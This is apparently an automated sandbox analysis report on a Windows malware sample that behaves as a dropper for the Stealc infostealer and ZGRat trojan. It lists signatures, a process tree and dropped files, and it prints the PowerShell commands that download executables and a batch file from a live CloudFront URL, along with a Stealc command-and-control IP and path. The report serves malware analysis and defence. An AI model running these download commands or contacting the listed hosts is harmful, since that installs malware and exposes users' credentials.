Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/05/2024, 15:43

General

  • Target
    file.exe
  • Size 49KB
  • Sample240509-s6dlpace88
  • SHA256 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family
  • stealc

C2
  • http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4680
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsn4DA4.tmp\est.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:988
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3360
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3744
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4380
        • C:\Users\Admin\AppData\Local\Temp\u3do.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u3do.0.exe"
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1076
        • C:\Users\Admin\AppData\Local\Temp\u3do.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u3do.1.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4436
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 1156
          4⤵
          • Program crash
          PID:3064
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3840
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4380 -ip 4380
    1⤵
      PID:1912

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 1KB
          • SHA256 3254495a5513b37a2686a876d0040275414699e7ce760e7b5ee05e41a54b96f5
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 16KB
          • SHA256 9aab27ad18fd6b1169d2ebeb7113f83989465544c48558d8668c3f9c41ba0ffe
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 16KB
          • SHA256 98d23949fe323631d1cad4867835aa4edec29d2e253dd8060cc93202afaf5909
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_dyfaso1a.egt.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dyfaso1a.egt.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          i1.exe

          • Path C:\Users\Admin\AppData\Local\Temp\i1.exe
          • Size 382KB
          • SHA256 c697ba11d34c3fcce2efe3d2699c68c933f986b36ccb6b9fb0e9c08fcbcfa7e0
          • MD5 SHA1 SHA512 SSDEEP

          INetC.dll

          • Path C:\Users\Admin\AppData\Local\Temp\nsn4DA4.tmp\INetC.dll
          • Size 25KB
          • SHA256 85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
          • MD5 SHA1 SHA512 SSDEEP

          est.bat

          • Path C:\Users\Admin\AppData\Local\Temp\nsn4DA4.tmp\est.bat
          • Size 735B
          • SHA256 da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37
          • MD5 SHA1 SHA512

          u3do.0.exe

          • Path C:\Users\Admin\AppData\Local\Temp\u3do.0.exe
          • Size 218KB
          • SHA256 7dbf762b2ef2b651a4e8c7b7d9b8996a1de0cfa44119452f1d3f29bfe03dfd86
          • MD5 SHA1 SHA512 SSDEEP

          u3do.1.exe

          • Path C:\Users\Admin\AppData\Local\Temp\u3do.1.exe
          • Size 4.6MB
          • SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
          • MD5 SHA1 SHA512 SSDEEP

          memory/1076-181-0x0000000000400000-0x0000000002AF3000-memory.dmp

          memory/1076-179-0x0000000000400000-0x0000000002AF3000-memory.dmp

          memory/1076-177-0x0000000000400000-0x0000000002AF3000-memory.dmp

          memory/1076-175-0x0000000000400000-0x0000000002AF3000-memory.dmp

          memory/1076-170-0x0000000000400000-0x0000000002AF3000-memory.dmp

          memory/2604-140-0x0000000000400000-0x00000000008AD000-memory.dmp

          memory/2604-129-0x0000000000400000-0x00000000008AD000-memory.dmp

          memory/3360-26-0x0000000006010000-0x0000000006076000-memory.dmp

          memory/3360-42-0x0000000073850000-0x0000000074000000-memory.dmp

          memory/3360-39-0x0000000006AE0000-0x0000000006AFA000-memory.dmp

          memory/3360-38-0x0000000007CA0000-0x000000000831A000-memory.dmp

          memory/3360-37-0x0000000006650000-0x000000000669C000-memory.dmp

          memory/3360-36-0x0000000006610000-0x000000000662E000-memory.dmp

          memory/3360-35-0x0000000006080000-0x00000000063D4000-memory.dmp

          memory/3360-30-0x0000000073850000-0x0000000074000000-memory.dmp

          memory/3360-25-0x0000000005F30000-0x0000000005F96000-memory.dmp

          memory/3360-22-0x0000000005E90000-0x0000000005EB2000-memory.dmp

          memory/3360-20-0x0000000073850000-0x0000000074000000-memory.dmp

          memory/3360-21-0x0000000005730000-0x0000000005D58000-memory.dmp

          memory/3360-19-0x0000000005070000-0x00000000050A6000-memory.dmp

          memory/3360-18-0x000000007385E000-0x000000007385F000-memory.dmp

          memory/3744-44-0x0000000073850000-0x0000000074000000-memory.dmp

          memory/3744-60-0x0000000073850000-0x0000000074000000-memory.dmp

          memory/3744-47-0x0000000005770000-0x0000000005AC4000-memory.dmp

          memory/3744-46-0x0000000073850000-0x0000000074000000-memory.dmp

          memory/3744-45-0x0000000073850000-0x0000000074000000-memory.dmp

          memory/3840-76-0x0000000006580000-0x00000000065CC000-memory.dmp

          memory/3840-70-0x0000000005EA0000-0x00000000061F4000-memory.dmp

          memory/4380-92-0x0000000000400000-0x0000000002B1D000-memory.dmp

          memory/4380-108-0x0000000000400000-0x0000000002B1D000-memory.dmp

          memory/4436-161-0x00000261FF9D0000-0x00000261FF9D8000-memory.dmp

          memory/4436-152-0x00000261FC620000-0x00000261FC62A000-memory.dmp

          memory/4436-148-0x00000261FE760000-0x00000261FE78A000-memory.dmp

          memory/4436-149-0x00000261FE7A0000-0x00000261FE852000-memory.dmp

          memory/4436-150-0x00000261FE8A0000-0x00000261FE8F0000-memory.dmp

          memory/4436-151-0x00000261FE8F0000-0x00000261FE912000-memory.dmp

          memory/4436-145-0x00000261FC430000-0x00000261FC444000-memory.dmp

          memory/4436-156-0x00000261FE920000-0x00000261FEC20000-memory.dmp

          memory/4436-158-0x00000261FF9B0000-0x00000261FF9B8000-memory.dmp

          memory/4436-159-0x00000261FFA00000-0x00000261FFA38000-memory.dmp

          memory/4436-147-0x00000261FC5C0000-0x00000261FC5CA000-memory.dmp

          memory/4436-160-0x00000261FF9C0000-0x00000261FF9CE000-memory.dmp

          memory/4436-168-0x000002619BD60000-0x000002619BD6C000-memory.dmp

          memory/4436-163-0x000002619C000000-0x000002619C062000-memory.dmp

          memory/4436-164-0x000002619C060000-0x000002619C082000-memory.dmp

          memory/4436-165-0x000002619C5B0000-0x000002619CAD8000-memory.dmp

          memory/4436-162-0x000002619BFE0000-0x000002619BFEA000-memory.dmp

          memory/4436-169-0x00000261FFF20000-0x00000261FFF96000-memory.dmp

          memory/4436-144-0x00000261FC590000-0x00000261FC59C000-memory.dmp

          memory/4436-171-0x00000261FFA40000-0x00000261FFA5E000-memory.dmp

          memory/4436-143-0x00000261FC310000-0x00000261FC320000-memory.dmp

          memory/4436-142-0x00000261FE510000-0x00000261FE61A000-memory.dmp

          memory/4436-141-0x00000261F6D90000-0x00000261FA5C4000-memory.dmp

          memory/4436-146-0x00000261FC5A0000-0x00000261FC5C4000-memory.dmp